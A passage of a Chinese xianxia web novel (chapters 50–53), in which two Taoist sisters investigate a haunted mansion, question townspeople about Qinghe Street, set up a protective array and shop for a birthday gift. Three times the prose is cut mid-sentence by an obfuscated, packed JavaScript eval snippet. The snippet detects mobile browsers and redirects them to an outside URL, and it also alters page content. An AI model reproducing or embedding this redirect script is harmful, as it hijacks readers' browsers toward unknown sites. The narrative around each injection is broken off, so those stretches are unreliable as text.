“我哥因歹人作祟,幸有秦王相助,这才顺利长大;而我是母皇再婚后的女儿,我们算是同母异父的兄妹。我呢,最近就跟着我哥学习。”姜祯说起她与姜祀的关系,特别是姜祀时,语气很是骄傲,“我哥其实是行军打仗的一把好手,早些年里军营屡获战绩,旁人无不拍手称赞。” 相当方才那回事,她也有些不好意思:“其实我哥也是头一回遇到道长们这般不拘礼节,冒犯了道长,还请道长莫要放在心上。” “我不是因为这件事。”姬忘尘开口想解释,但又难以言说其中细节,“……算了。” “师姐师姐。”汤穗穗在桌下小小地扯着师姐的衣袖,她知道自家师姐情绪不好,想要安慰她。 看到对方关切的眼神,姬忘尘闷在心口的气也呼了出来,开始她专心思考该如何应对房间里女人的情况。 眼看着两人即将吃完,姜祯立马吩咐将两人的房屋布置妥当。坐在一旁的姬忘尘随即开口,提出需要准备的道具,等备齐之后有用。 姜祯也知道这些道具的重要性,连忙点头应下,一起安排下去。 50.说书客 阳光均匀地洒进室内,汤穗穗在温暖中伸了个懒腰,睁开惺忪的双眼,下意识伸手揉了揉。 周围的陌生感让她一瞬怔愣,不过随着意识回笼,混沌的脑海逐渐变得清晰,她也回忆起下山的目的,还有昨晚在宅外听到的关于“闹鬼”的传言。 昨夜用餐过后,师姐一幅心情欠佳的模样回了房间,汤穗穗也不好上前打扰,也不知道昨天师姐去检查秦王的情况后有什么发现。 此刻想到这些还没解决的疑问,汤穗穗浑身也有了干劲。她利落地起身换了套衣服,随便顺了顺头发,就往师姐的房间走去。 两人的房间被姜祯安排在相邻的位置,汤穗穗急匆匆出门后转身,就能看到坐在窗前出神的姬忘尘。 来往的风替她翻动书页,秀发在她脸侧飞舞,师姐的眉宇间浮起一股浓郁到化不开的愁绪。在汤穗穗看来,师姐此刻的情绪很不寻常,也不知道是什么缘故。 她缓步靠近窗前,轻声开口,唤回面前人的思绪:“……师姐,这里的问题很棘手吗?” 姬忘尘猛然回神,对上窗台前担忧的目光,她摇了摇头,勾起笑容让面前人放心:“没有,只是想到一些往事。” “是不好的往事吗?” 姬忘尘下意识掩盖心间的想法,脸上笑容转换成轻松:“好了,其实都过去了,只是现在想来有些唏嘘罢了。” “这样啊……”汤穗穗直觉认为师姐没有说实话,然而对方既然不想开口,那她也没有立场强迫对方非要说些什么。 汤穗穗望着面前的人,眼珠子转了转一圈,想出了个点子。 她上前几步,靠近了些窗台,趴在上面,神秘兮兮地开口:“师姐师姐,可以陪我出去逛逛吗?” “……我吗?”姬忘尘疑惑地眨了几下眼睛,不确定地开口。对上师妹亮晶晶带着期盼的眼睛,下意识想要拒绝的话堵在喉舌间吐不出来。 “师姐,求你啦,这里的人我都不是很熟悉。”汤穗穗对撒娇这一套简直信手拈来。 片刻后,姬忘尘还是败下阵来。她一如既往,没能顶住对方的撒娇攻势,犹豫了半晌还是同意了。 她简单收拾摊在面前的话本,起身出门,跟着汤穗穗往府外走去。 在出去的路上,汤穗穗将昨夜听到的闹鬼传闻复述给师姐:“师姐,府邸里是真的有地缚灵吗?” 汤穗穗想起拟真试炼中的地缚灵们,不知道这里的情况是否与那时相同。 姬忘尘点了点头,对此她并未隐藏,说起自己的推测:“这里的地缚灵应当存在了挺长的时间,并且炼化了魔气,至少有一定修为。” “什么?!”汤穗穗惊呼出声,又连忙捂住自己的嘴。 起码在她的印象里,地缚灵是挺危险的存在,若是真如师姐所说,那得赶紧除掉才是。 “没事,我已经让姜祯准备了。等材料备齐后,就能锁定地缚灵,到时也能一并除去。”姬忘尘已经有了自己的打算,这也是一贯的除魔手段。 “噢噢。”汤穗穗也连忙进入状态,她一边打量着周围的建筑,一边在心底盘算着,“有什么我能帮忙的吗?” “有的——” “师姐!”汤穗穗眼睛尖,看到了什么,开口止住师姐的声音。她望向面前不知情的女子,一想到接下来要做什么,就压不住脸上的笑意。 姬忘尘看着面前师妹脸上奇怪的微笑,下意识心里发毛。还没等她问出口,对方就拉着她的手机,她顺从对方的动作,整个人转到了后方。 她们刚从一个拐角走出来,不知不觉间已经走到了热闹的街市中。四周的吆喝声不断,走在路上的众人也喜气洋洋,一幅蒸蒸日上的繁荣景象。 此情此景,连姬忘尘都被感染,忍不住脸上也挂上喜悦的神色。 而她们面前不远处正有一间茶馆,还能听见里面说书先生拍醒木的声音。 只见身旁的人脚步匆匆,脸上挂着明媚的笑容,拉着相识的人往茶楼里走去:“走走走,晚了就抢不上位置了。” “我们这是……”姬忘尘迷茫地眨了眨眼,似懂非懂。 “我们也快走——”汤穗穗笑着拉上师姐的手,跑到茶楼里,好在茶馆里也还有空位。 茶馆中有一人坐于桌子之后,以折扇与醒木做道具,眉飞色舞地讲述些什么,引得堂下人连连叫好,几乎盖过了她们说话的声音。 姬忘尘茫然地坐下,她不明白师妹为什么将她带来此处,但她试着理解对方的想法:“你想听说书?” 汤穗穗熟练地跟小二交涉,要了壶招牌茶水,这才开口解释道:“师姐你可别小瞧了这些说书先生,说不定她们口中就有我们想要的答案。” 其实这是汤穗穗搪塞师姐的说辞,她怕师姐会拒绝自己的请求,而沉迷在当前的任务上。 她望着面前师姐脸上藏不住的疲态,很是心疼。她希望可以稍微驱散师姐脸上的阴霾,这样让对方的状态好起来,也才能更好地继续接下来的任务。 而且,她也还记得师傅提到过姚师舅想到说书先生,也就萌生了极大的兴趣。 两人说话间,台上的说书先生又开始讲起另一端奇闻异事。看着面前师妹兴致勃勃的模样,姬忘尘虽然心怀疑虑,但也耐着性子听了下去。 她看出汤穗穗是抱着开解自己的想法,她也不想浪费对方这一番良苦用心。 原本她只想随便听一听,却没想到陷在说书先生滔滔不绝的故事当中。不得不承认,在说书先生的诠释之下,她不自觉地被带进去,与其中的情绪一道起伏。 她随着哪位沙场上算无遗策的将军,如何在尔虞我诈的朝堂脱身,最后一举倾覆这个混乱的王朝,建立全新的制度;又随着哪名热血的侠客在红尘间穿梭,路见不平拔刀相助…… 那些只在话本中的故事在对方的演绎下,一切都变得那么鲜活,让姬忘尘不自觉地沉浸其中 她片刻回神,转头看向身旁的汤穗穗,对方正托着脸颊,专心致志地看向台上说书先生。 脑海中忽然想起某人曾经跟她说过的一句“岁岁平安”,也在此刻对这个词有了些许实感。 或许,那人诚心替她祈祷年岁平安时,是真心想让她看遍这般鲜活人间。 在说书先生的诠释下,每个故事都环环相扣、引人入胜,但汤穗穗向来是个三分热度的性子,她听着听着就不自觉走神了。 等她回神时,豪情万丈的侠客故事已经结束,又到了另一个新故事。 台上人正说到,负心又自私的状元郎,金榜题名后,竟为了迎娶达官贵人的女儿,将一路跟随自己科考的女子狠心杀害。 幸有上天开眼,就在女子头七当晚,将狼心狗肺之徒打入地狱,并将无辜女子还阳,让其接着享受她的大好年华。 “此之谓,‘善有善报,恶有恶报’耶——” 台下众人听着大仇得报的结局,不禁鼓掌叫好,议论纷纷。 “这种畜生要真让他当官,还不知道会对百姓做些什么残忍的事情呢!” “就是就是,人在做,天在看!” …… 汤穗穗一只手玩弄着自己的茶杯,另一只手撑着头,饶有兴致地听着周围百姓义愤填膺的话语。 “听腻了?”姬忘尘看出师妹心不在焉,即使她心中还有些眷恋,但还是咬咬牙开口,“既然乏了,我们就走吧。” “不用啊。”汤穗穗也知道师姐的性子,“要是师姐你想听,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对她来说,这段日子的经历,既像一整年那么长,又好似一切只是发生在眨眼间。 她驻足在原地,脸上露出难以难以言尽的情绪,也不由得开口感慨:“又到八月了啊,时间过得可真快……” “我记得,你是八月初生辰吧。”姬忘尘从自己的思绪中抽离出来,站定在汤穗穗身边。 虽然她并不会刻意去记住某些日子,但她也还记得往年的这个时候,总会被师傅叫着筹备些祭月节的物件,还有给汤穗穗筹备生辰礼物。 说到生辰…… “穗穗你想要什么样的生辰礼物?”姬忘尘冷不丁地开口。 虽然她知道自己并不擅长挑选礼物,但她也想给对方的生辰添上一笔喜悦。 “……礼物吗?”汤穗穗摇摇头,笑着转身,腰间的链剑也随着她的动作晃动,“我已经收到啦,谢谢师姐!” 这是她的真心话,她知道师姐并不擅长这些,她也不想为难师姐。 “不行,链剑归链剑,生辰礼物归生辰礼物,这是两码事。”姬忘尘反倒是上了心。 既然师姐都这样开口了,汤穗穗也不会再拒绝。 姬忘尘顺势将方才想到的疑点讲给对方听,汤穗穗听完之后倒是想到了另一个切入点:“地缚灵的话,说不定跟这座宅邸的历史有关?……或者,我们可以先去了解曾经发生过什么?” 汤穗穗记得,地缚灵是被魔种寄生的死灵,。 既然这样——这个人为什么会死;又为什么会被魔种寄生;被寄生后能不能在保存灵智的同时,动用魔气——解答这几个问题后,也许能给她们解开其余的疑惑。 51.青鹤街 问题是被抛出来了,但姬忘尘却因此陷入了沉默。 虽然她在外历练的经验比汤穗穗多一些,但她通常都选择独自处理郊外的魔物,鲜少像现在这般,因此她也不知该如何推进。 姬忘尘的苦恼不自觉浮在脸上,汤穗穗大概猜到师姐寻常的历练习惯,瞬间觉得重担在肩,也在心底窃喜自己这能能帮上师姐。 即使她经验没有师姐那么丰富,但是她觉得自己很擅长和旁人打交道。 既然是屋宅有关的,那她们不妨找到房屋相关的地方,比如出售租赁宅子的房屋牙行 。 说不定在那里,能顺势旁敲侧击那道闹鬼传闻。 汤穗穗的脑子转得很快,片刻后,她脑海里就冒出一个办法,她笑着伸手扯扯师姐的衣袖,胸有成竹地开口:“交给我吧。” 在姬忘尘疑惑的目光中,汤穗穗径直走向一旁的摊贩,笑吟吟地开口:“这位行商阿娘,我能问您些事吗?” 摊主原本在整理摊上的物件,抬头对上汤穗穗友善的目光,她也不拘谨,大大方方地应答:“怎么了妹子?” “是这样的……”汤穗穗扬起笑脸,顺理成章将房屋的事情抛出,“我和姐姐初来乍到,想租赁宅子。只是走了好半天,还没看到牙行,所以想请您指指路。” “哦,屋宅牙行啊,沿着路往前走……”摊主慷慨地伸手给她们指了方向,“那有家牙行,价格还挺实惠,两位姑娘不如去那儿问问。” “得咧,多谢大娘!”汤穗穗笑得甜甜的,连声应谢。她还顺手在面前的摊子上买了件小零碎,便拉着师姐就往那人说的方向走去。 站在一边的姬忘尘认认真真地记下,争取下次遇到类似情况的时候也能应对。 正是青天白日,街市喧闹,人来人往。所幸那间牙行并不远,她们按着摊贩指向的方向拐过两个街口,远远地就看到有一整间装潢正规的庄宅牙行。 等她们刚走进了些,周围就围上了衣着相似的牙人,上前跟她们套近乎:“两位姑娘可是要租赁房屋?” 从来没有遇到过这种情况的姬忘尘,下意识攥紧了旁人的手,求助的眼神瞥向汤穗穗。汤穗穗笑着朝师姐点点头,熟稔地拉起笑脸接话:“正是正是……” 她将提前准备好的说辞跟牙人开口,牙人听了她的话,连忙推销起房屋来。 汤穗穗毫不怯场,一边笑着搭话,一边拉着师姐的衣袖跟牙人往牙行里走去。 在汤穗穗和牙人搭话时,踏入了牙行的姬忘尘下意识地打量周围。这座牙行分割成了半开放式的小隔间,四周还悬挂了一圈写有房屋具体信息的纸张。 这些对于姬忘尘来说,是完全陌生的见闻。 而身旁牙人和汤穗穗聊得正欢,并一边往空缺的隔间走去。 恰在此时,一位怒气冲冲的中年女人从店铺外快步走进去,带着怒气将手里的纸张拍在掌柜的面前,怒斥道:“你们给我妹子介绍的就是这种房子?” 掌柜吓了一跳,连忙从柜后掏出来,赔笑:“这位大姐息怒,可是房屋出了什么问题?” 没想到对方的话反倒点燃了女人的怒火,她气急反笑,用力一拍桌子:“息怒?你要我怎么息怒?——青鹤街以南什么情况还用我挑明?你们给我妹妹介绍的就是这种房子?这不是坑骗外地人吗?” 女人的话语想连珠炮似的往外冒,她的音量极大,店铺中人都能听得一清二楚。掌柜朝其余牙人使了眼色,他则引着女人上二楼包厢细谈。 姬忘尘敏锐地察觉到,在女人说出“青鹤街以南”时,在场的许多客人脸色霎时变化。空气中的气氛瞬时变得凝固,充斥着怀疑与不信任。 原本还相谈甚欢的客人下意识用审视的眼神打量面前的牙人,听到对方连连解释后才面色渐缓。 汤穗穗虽然不如师姐敏锐,但她也捕捉到关键的字眼,心中好奇,忍不住朝面前牙人发问:“青鹤街以南是什么地方?” 本来只是随口一问,然而面前的牙人却变得支支吾吾,神色很不自然,扯东扯西并未直面回答。 两人相对视一眼,知道此事非同小可。但她们没有强迫牙人,而是主动将话题岔开,聊回方才租赁房屋的话题。 刚才的小插曲过去,牙人也恢复了之前那般伶牙俐齿,耐心地向两人推销着还不错的房屋。 当她问起面前偏好地段事,姬忘尘还顾着自己的任务,下意识开口:“秦王府附近——” 还没等她说完,牙人脸色突变,急匆匆地打断,视线在两人间来回横扫,着急地连连摆手:“抱歉二位,那的生意我们可做不了。” 汤穗穗自然发现对方不对劲的反应,笑着圆场:“真是可惜啊,您有所不知,我与姐姐对秦王仰慕许久,此番来王城,也想着能住得离她近些。若是租不了的话,确实有些惋惜。” “秦王确实是位能人。”牙人听到汤穗穗的解释,也随即松了一口气,相似的理由她听过了许多,但她不敢冒险,“……小的无能,还请见谅。” 那里的房子其实手底也积攒了许多,但碍于某些原因,她们实在不敢堵上自己的口碑。 见到牙人这般反应,两人对视一眼,记下这个疑点。她们脸上泰然自若,接着牙人推荐的地段聊了起来。 牙人看得出来,面前两位并未接触过租赁房屋的相关事宜,但并未就此轻视,反倒认真将房屋的优缺点细细道来。 在对方的极力推销之下,汤穗穗都忍不住心动,下意识就想要应承面前人。 与她相反,姬忘尘一直分神盯着楼梯间,随时观察方才那位中年女人的身影。 没过多久,掌柜将那名女子恭恭敬敬地请了下楼。掌柜态度恭谨,连声道歉,面色和缓的女人摆摆手,她并非借机找事之徒:“我信任你们的人品,这次就当你们大意了。” “您说的是……”掌柜一边应承,一边将其送到店铺外。 姬忘尘收回眼神,不着痕迹地用手肘推了推身旁人。汤穗穗立马收到师姐的信号,笑着打断了牙人滔滔不绝的话语:“您说的都很有意思,只不过此事还需我与姐姐细细商讨一番才行。” 牙人自然也知道这些事的重要性,她并未强求,反倒主动给足的时间,再三叮嘱“倘若真有兴趣,不如再来商议”之类的说辞。 汤穗穗连忙点点头,应下对方的话语,起身往店铺外走去。还好耽搁的时间并不多,还能在街市上看到那位中年妇女的身影。 两人加快脚步,跟上了这位女人。汤穗穗上前拦住对方笑着开口:“抱歉打扰婶子,不知婶子可否借一步说话?” 婶子被汤穗穗突然出现吓了一跳,她皱着眉用审视的目光在两人身上打量。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622932|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姬忘尘学着用汤穗穗那套说辞补充道:“我们姐妹俩从外地来,想租赁一套栖身屋宅,方才我们在牙行见过您。” 听到姬忘尘这句话,女人也回忆起方才牙行所见,这二位的神态容貌属实让人难忘。她恍然大悟,连连点头,拉着二位往一旁阴凉的巷子走去,压低声音主动开口:“牙行也给你们推荐青鹤街以南一带屋宅了?” 她的语气急切中带着关心,倘若得到肯定答案,她势必马上转身去找牙行再讨讨说法。 只不过面前人齐齐摇头,倒让她下意识放松了些许:“那你们这是……?” “我们就是有些好奇,”姬忘尘直白地开口,脸色十分坦然,将“外地客”的这层身份用到极致,“我曾经听闻,清鹤街那可是一房难求,甚至达官贵人想住都求不得——怎如今竟变得如此深恶痛绝。” 当然这些话都是姬忘尘自己编的。 她只是觉得,既然在场众脸色会产生如此大的变化,不像是某些约定俗成的习惯,或许正因曾经发生过的什么变故而导致。 再从这里反推回去,更早些时候青鹤街应当是截然不同的场景,甚至可能正和她们所想知道的事情相关。 “那是很早以前了。”女人想起往事,不自觉叹了口气,“那时的青鹤街还被称为‘状元街’,如今的秦王府也正是前朝某任状元的府邸。” 只不过那里在她年幼的时候就发生了变故,往日的辉煌也只能从上一辈处听来了。 “只不过那人虽是状元,却心术不正,招惹了邪魔,就此连累了青鹤街一带,甚至连如今的秦王也受牵连。”女人义愤填膺地开口,“还好没让他步入仕途,否则还不知要连累多少无辜百姓。” 真是踏破铁鞋无觅处,得来全不费工夫。 汤穗穗和姬忘尘当即对视一眼,皆从对方眼中看到惊喜的神情。 前者趁热打铁,连忙接话说:“听起来这青鹤街很是诡异?” “谁说不是呢?只不过青鹤街以南那一带确实不太干净,”女人见二人面善,也就兴致勃勃地聊了起来,虽然有很多事是她道听途说来的,但她颇信以为真,“……具体的我也不太清楚,经常会发生一些莫名死亡的事件,死者无一不是面色苍白,被吸干了血肉,像具干尸一般。 “不过话又说回来,死的那些都是负心汉又或是恶贯满盈之徒,咱们这些寻常百姓不太会‘那位’的霉头”。 女人口中用“那位”指代她以为的邪祟,汤穗穗煞有其事地点点头去。 女人见状聊得更起兴,语重心长地劝说二人:“只是这邪祟也是宁可信其有,不可信其无。这不,连秦王这样功德无量之人都不能保证安然无恙,我们还是少哪自己去冒险了。” 女人还拉着汤穗穗在絮絮叨叨,姬忘尘听到对方说的消息后不自觉分析起来:或许府邸里作祟的正是那名状元,或者和那人相关。 总之,这趟也算有了些眉目,但还有些疑问尚未解决。 难道正是因为对方曾经是状元,所以才有意识克制身上的魔气,没有伤害秦王吗? 可女人口中所说的命案听起来倒像是魔气所致,这又是怎么回事? 难道并非同一地缚灵所为吗? 姬忘尘百思不得其解,那些尚未解开的疑问,还需等姜祯那边的道具备齐,将地缚灵逼出来才能知晓全貌。 52.布阵 在姬忘尘陷入自己思绪的同时,健谈的汤穗穗和女人聊得越来越投入。 等她再回过神时,只听到面前女人亲昵地挽着师妹的手,想要邀请她们来自家吃饭。姬忘尘下意识扶额,适时出声婉拒对方,声明她们此行还有要务在身。 听到她的回绝,女人虽然面上不可避免地流露出失望神情,但也知道自己不能干扰两人,以免反倒耽误她们的正事。 汤穗穗知道师姐的意思,笑着又说了些好话哄得对方喜笑颜开。以至于离开前,女人还主动提出互换名姓。 这位热情的女人名唤杜曜桑,前朝末年举家迁至王城,也算经历了当时最动乱的年代,现在是城中有名的商贾。 此番来牙行,主要也是她的堂妹投奔来此地,想要在王城也谋一份生计,只是没想到一向信任的牙行居然出了这等事。 即使汤穗穗还不太了解这些忌讳,但也郑重地点点头,认可对方的话语。 告别后,两人顺势回到府邸用餐。在席上,姜祯望着姬忘尘,想起昨夜交代的筹备工作,面露难色:“抱歉,姬道长,昨夜所嘱咐的物件一时半会搜集起来,实在有些难度……” “无妨。”姬忘尘自然清除这件事并不轻松,不然也不会依托于对方的人脉找寻。她摇摇头,“请放心,府中有我和穗穗在,定会保全诸位。” 她想起昨夜遗忘的事情,补充道:“等这顿结束,不知可否有空让我再去一次秦王卧房?” 由于昨天比较匆忙,姬忘尘也心事重重,甚至忘了给秦王结阵。虽然姬忘尘的阵法不如蓝鄞,但应付此刻的情况也是合适的。 “如此便好!”姜祯听闻姬忘尘愿意再去探看秦王的情况,更是惊喜,这本就是求之不得的事情。 见到对方神采飞扬,汤穗穗想起方才谈听到的事情,佯装无意说起青鹤街的传言:“祯姐姐,你说这些事情是真是假?” 这个问题倒是难住了姜祯,她疑惑地摇摇头:“汤道长倒是为难我了,这些传言真假我也不太清楚。倘若传言为真,那事发时母皇甚至尚未离开王城,也还未结识我父亲。” 等她们攻入王城时,她又时常住在宫内协助母亲处理朝政,鲜少出外。 倘若不是秦王忽然长睡不醒,她见母亲过于担忧,主动揽下这些事情,这些传言估计这辈子都不会传到她的耳朵里。 “原来如此。”汤穗穗原本也没报什么希望,可听闻这话,还是不自觉沮丧起来。 她还记得是师姐提到过,地缚灵并未伤害秦王的事实。 倘若那个地缚灵当真是那位出事的状元,那有没有一种可能:或许,对方曾经与秦王有旧,这才并未伤人? 为了避免牵连到一无所知的姜祯,她讲这些疑问按到了肚子里,等师姐闲下来之后再去商讨。 用餐过后,姜祯主动引着姬忘尘再次去了秦王的院落。姬忘尘不着痕迹地打量四周,并未察觉到泛滥的魔气,正如她锁预料的那样,这里并非地缚灵的栖身之处。 在阵法方面,姬忘尘虽然并不如蓝鄞,但她也还是懂得布置简单的抵御魔气、灵气滋养的阵法。 不过在她布下阵法时,她敏锐地发现宅邸内已经有了另一套阵法。灵力气息同样来自乾坤宗,应当是将地缚灵囚禁在了宅邸的某处,并未让其泛滥。 只是姬忘尘有些想不明白,为何前辈并未直接对其下杀手? 难道是地缚灵境界太高深,处理起来比较棘手吗? 前辈也并未向宗门求援,就好像是刻意将这里的事情隐藏起来了一样。 但既然这次她来了,那就要将其彻底清理,避免让它继续为祸世间。 她很快就布好了阵法,但因为方才发现的信息不自觉陷入自己的沉思。一旁的姜祯见对方上个动作结束后,久久未有动作,大着胆子开口:“道长,这样便好了?” “自然。”对方的声音让姬忘尘连忙回神,将实情道出,“宗门前辈曾在此处留下过阵法也并未失效,按常理来说,府中人都会安然无恙。” “按常理来说”,姜祯捕捉到这个不寻常的字眼,她忍不住往阴谋的方向怀疑起来。 秦王如今是皇帝的左膀右臂,想将其暗中处理的大有人在。 她微眯着眼,下意识分析起某些人的动机和紧迫性。 姬忘尘不知道她在想什么,上前一步拉住对方的手腕。 手腕温热的触感让姜祯立马回神,望着面前神色如常的姬忘尘,不敢开口怕惊扰了对方的判断。 对方将手指按在她的脉搏之上,与此同时她感觉体内有一股清亮的气息在周身游走。 还没等她细细感受这股气流,姬忘尘便松开了手,后退一步:“冒犯了。” “没事,”姜祯摇摇头,笃定对方此举必有意图,“道长这是……发现什么端倪了吗?难道我身上也有类似的情况吗?” 姬忘尘点了点头,她探寻对方的体内,也感应到少许的魔气,不过可以自然净化,不足为惧。 “虽然防御法阵有一定的作用,但免不了还是会被干扰。更何况……”姬忘尘将视线望向房间内,“她或许曾经有过一段时间的接触,再加上她身体不复康健,这才一下子变成如今的状态。” “原来是这样。”姜祯点点头,其实她更多时间住在皇宫中,听闻秦王身体抱恙这才住了出来,所以她也不清楚各种情况。 在姜祯看来,或许正是因为在秦王府居住的时间太久导致的:“那您看,秦王是否需要另换住所?” 姬忘尘摇摇头,等她处理完府邸中的地缚灵后,这里的魔气就会被净化干净。再加上对方枕下还有滋养的玉牌,很快便能重新恢复健康。 比起这个,姬忘尘想起了另一个人,那个本应最先发现秦王状态不对的青年。 “……那姜祀呢?”姬忘尘不自在地移开了目光,心中不自觉地埋怨起对方,出口的语气也变得急躁。 “我哥他那就更忙了。”姜祯也知道面前的道长并不待见自己的哥哥,但她还是下意识为对方说些好话,“我哥经常奔波在操练军队武艺上,一个月也就住在这里两三回,更多是宿在郊外的武校场。” “呵,那他对武艺还挺上心。”姬忘尘似笑非笑地讥讽道,“若是能将分少许在秦王身上……” 两人边说话边往外走,正巧碰上结束了操练回府的姜祀,这些天得知秦王出事之后,他便宿在府中,以便得知秦王的身体状况。 此刻听闻姬忘尘明白地点名,他知道自己作为晚辈的失职所在,大大方方的将对方的讥讽认下:“忘尘姑娘教训的是。” 话语出口的时候,姬忘尘没想会被当事人听去。她非但没有不自在,反而毫不客气的冷哼:“可别又是嘴上功夫了得。” 一旁的姜祯看到姬忘尘的态度骤变,立马拉开对方,说起道具准备的事情,向姜祀使了眼色。 站在原地的姜祀有些尴尬地刮了刮鼻梁,但也知道自己容易惹对方不快,就顺势离开。 不过听到这番话的,并非只有在场三人。 意外目睹三人碰面的汤穗穗从拱门后钻出来,小跑着跟上姜祀的脚步,冲上前拦在对方面前,怒气冲冲地开口:“你是不是有什么事情瞒着我们?!” 烦恼姬忘尘态度的姜祀本来就有些心不在焉,听到汤穗穗的脚步声时更是下意识地握紧了腰间剑柄防备,余光瞥见来人才松懈下来。 但还没等喉头那口气呼出去,就听到了汤穗穗的质问。 他确实隐瞒了一些实情,但不确定面前的少女是否知晓这些事情,他面色如常地开口:“穗穗姑娘此话怎讲?” 汤穗穗哪里知道什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“洄山……”姜祀确实听下属提起过,不过也是源自下属那位已逝去多年的长辈,那位下属本身已经没有多大印象。 虽然知道找寻起来会有些坎坷,汤穗穗不自觉地抿着唇,但往好处想,这并非一无所获,至少洄山依旧被旁人所知,那这样立石村也一定还有人会知道。 面前的姜祀沉思片刻,想到了另一种可能,犹豫着开口:“……倘若,道长口中的‘立石村’已经更名了呢?” 听到对方的猜想,汤穗穗眼眸一亮,猛地抬头望向面前人。 对啊,她怎么没有想到这种原因呢?! 不仅是她,连姜祀也顺着这条思路走下去:“还请道长等上一段时间,容我去找寻有关记载,或许会有些眉目!” 在两人因为“立石村”而兴致勃勃的时候,姬忘尘寻了个由头离开了秦王府,孤身一人走到街市上。 那时说要给汤穗穗添置礼物这句话,她是发自内心的。不仅仅是作为生辰礼物,更是想要回报些什么给对方。 今天出行这一趟,她在汤穗穗身上学到了许多,她也比寻常更融入山下生活。 倘若这趟任务只有她一人的话,按她一贯的方式,她根本不会关心地缚灵以外的事情,只会动用武力直截了当将其净化。 这样并非不好,只是容易让她觉得乏味,也做不到姚师舅一贯提醒她的“人情味”。 但这一趟和汤穗穗出行,她尝试了与以往完全不同的做法,反而收获了许多。 于情于理,她都应该给一份酬谢。 只是,她却在挑选礼物的品种上犯了难。 她学着汤穗穗那样,望着四周的摊铺左顾右盼,脑海却还是一片空白。 她想挑些更适合的,希望能对对方有帮助,而并非只是看在自己的面子上收下。 53.挑选礼物 说起来,这还是姬忘尘第一次自己主动地上街,想要为别人挑选些什么。 之前和师傅相处的日子里,她总是充当师傅和姚师舅间的桥梁,互相为对方添置些什么。后来有了汤穗穗,她也只是听从师傅的吩咐,为对方买些什么。 当脑海中想要给汤穗穗购买礼物的念头出来的时候,她还以为是一件极其简单的事情。 她确实不擅长做这些事情,但是她想要挑战自己。就像她不会一直局限在某歌阶段,只有不断地拓展自己的能力,才能有更多的可能。 大话是放出去了,但她还是一头雾水。 姬忘尘一脸为难地打量着周围的店铺,学着汤穗穗那样,寻求旁人的帮助。但是主动开口时她又多少有些不自在,于是她折中想了个法子,决定跟在与师妹差不多年纪的小姑娘身后。 既然她不知道有哪些选择,不如就跟在她们的身后,这样至少会有些许眉目。 至少她心目中有了探寻的方向,她放缓脚步,不着痕迹地打量着周围的来往行人。明明是陌生的面孔,姬忘尘却在她们的脸上看到了如出一辙的、对未来的希冀。 放空自己的姬忘尘也被这些情绪感染,心中又萌生了些许新的体悟。 即使她还是会对那件事耿耿于怀,但是她也多少能够理解些许。如今的安定,或许正是对方不惜将一切放弃,也要追求的东西吧。 ……当心中的恨意不如往昔凝固,而那些曾经被自己刻意压制的眷恋也随之浮起。 她勉强将那些情绪压制下去,抬起头来寻找她的目标。正好身边就有一个跟汤穗穗差不多大小的少女,抓起裙摆,喜气洋洋地从她身边跑了过去。 姬忘尘也加快脚步跟了上去,看着面前的少女钻进到一家脂粉铺子当中。 她跟着少女的脚步往店铺中踏进去,只听到少女熟稔地喊来店家,说是要尝试新品。 原本姬忘尘还想参考一下对方的选择,却没想到听到对方和店家热火朝天聊起来的内容,恍如天书一般,一个词语都没听懂。 她也不再自讨没趣,不自在地摸摸鼻子,抬头四下打量胭脂铺的布局。事实上,这也是她第一次踏进这样的店铺,寻常也只是在话本里有所耳闻。 方才踏入店铺中,她只觉得周遭的空气甜腻异常,将她完全包裹在说不清的味道当中。面对琳琅满目的商品,她根本无从下手,指尖悬在半空还是不知道从何选起。 店内的帮工送走上一位顾客,乐呵呵地凑到姬忘尘的身边,客气地发问:“客官可有看中的?” 原本只是礼貌性的发问,却将柜台前的姬忘尘吓了一跳。后者连连摆手,脸上露出不好意思的笑容:“不、不用了……” 帮工阿姐看到她这副神情,笑着柔声宽慰,问起了对方添置的目的。得知送给年纪较小的妹妹时,她也大大方方介绍起合适的产品。 她的态度认真诚恳,同时看出姬忘尘并非熟手,换成更通俗易懂的说辞。即便如此,后者还是听得云里雾里,摸不着头脑。 越是这样,她越是不能以正常的态度面对帮工阿姐。面对阿姐的热情,姬忘尘心中萌生的歉意让她变得愈发不自在。 而周围甜腻的味道也愈发浓烈,起初她还觉得有些新鲜,但随着帮工阿姐的讲解,这股味道也让她鼻尖发痒,几乎忍不住打喷嚏的感觉。 最后她硬着头皮、囫囵应下阿姐的话语,逃跑似地快步离开了铺子。 当重新呼吸街道上的新鲜空气时,姬忘尘才有些许活过来的感觉。她用力地深呼吸着,脑海中将脂粉店铺的选项完全排除在外。 姬忘尘重新回到大街上,沉沉地呼出了一口气,接下来又该去哪里呢? 她的视线再一次放在街上人来人往的行人中,寻觅其余少女的身影。很快,她又锁定了另一位截然不同的、身着骑装的少女。 这位气装少女身形挺拔,双目炯炯有神,与街市上很多人都不一样。 只见她熟门熟路地绕过几条街巷,拐进了巷子里一间店铺中。 姬忘尘眼睛一亮,跟着她走到对方的动作走了过去。却未曾想到,这竟然是一家铁匠铺。 